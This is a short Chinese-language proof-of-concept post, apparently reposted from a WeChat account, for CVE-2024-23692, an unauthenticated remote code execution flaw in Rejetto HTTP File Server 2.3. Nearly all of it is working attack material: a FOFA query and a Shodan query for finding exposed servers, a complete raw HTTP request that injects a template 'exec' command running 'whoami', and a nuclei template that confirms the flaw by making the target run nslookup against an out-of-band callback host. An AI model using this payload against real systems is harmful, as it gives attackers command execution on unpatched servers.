CVE-2024-23692 POC

HFS2.3未经身份验证的远程代码执行(CVE-2024-23692)

Rejetto HTTP 文件服务器(HFS)2.0版本存在代码执行漏洞，未经授权的攻击者可以利用该漏洞执行任意代码，导致服务器失陷。

fofa

"HttpFileServer"

poc

GET /?n=%0A&cmd=whoami&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.} HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: HFS_SID_=0.590236319694668

nuclei

id: CVE-2024-23692

info:
name: Rejetto HTTP File Server - Template injection
author: johnk3r
severity: critical
description: |
This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.
reference:
- https://github.com/rapid7/metasploit-framework/pull/19240
- https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/
metadata:
verified: true
max-request: 1
shodan-query: product:"HttpFileServer httpd"
tags: cve,cve2024,hfs,rce

http:
- method: GET
path:
- "{{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"

matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"

- type: word
part: body
words:
- "rejetto"

原文始发于微信公众号（CISSP）：CVE-2024-23692 POC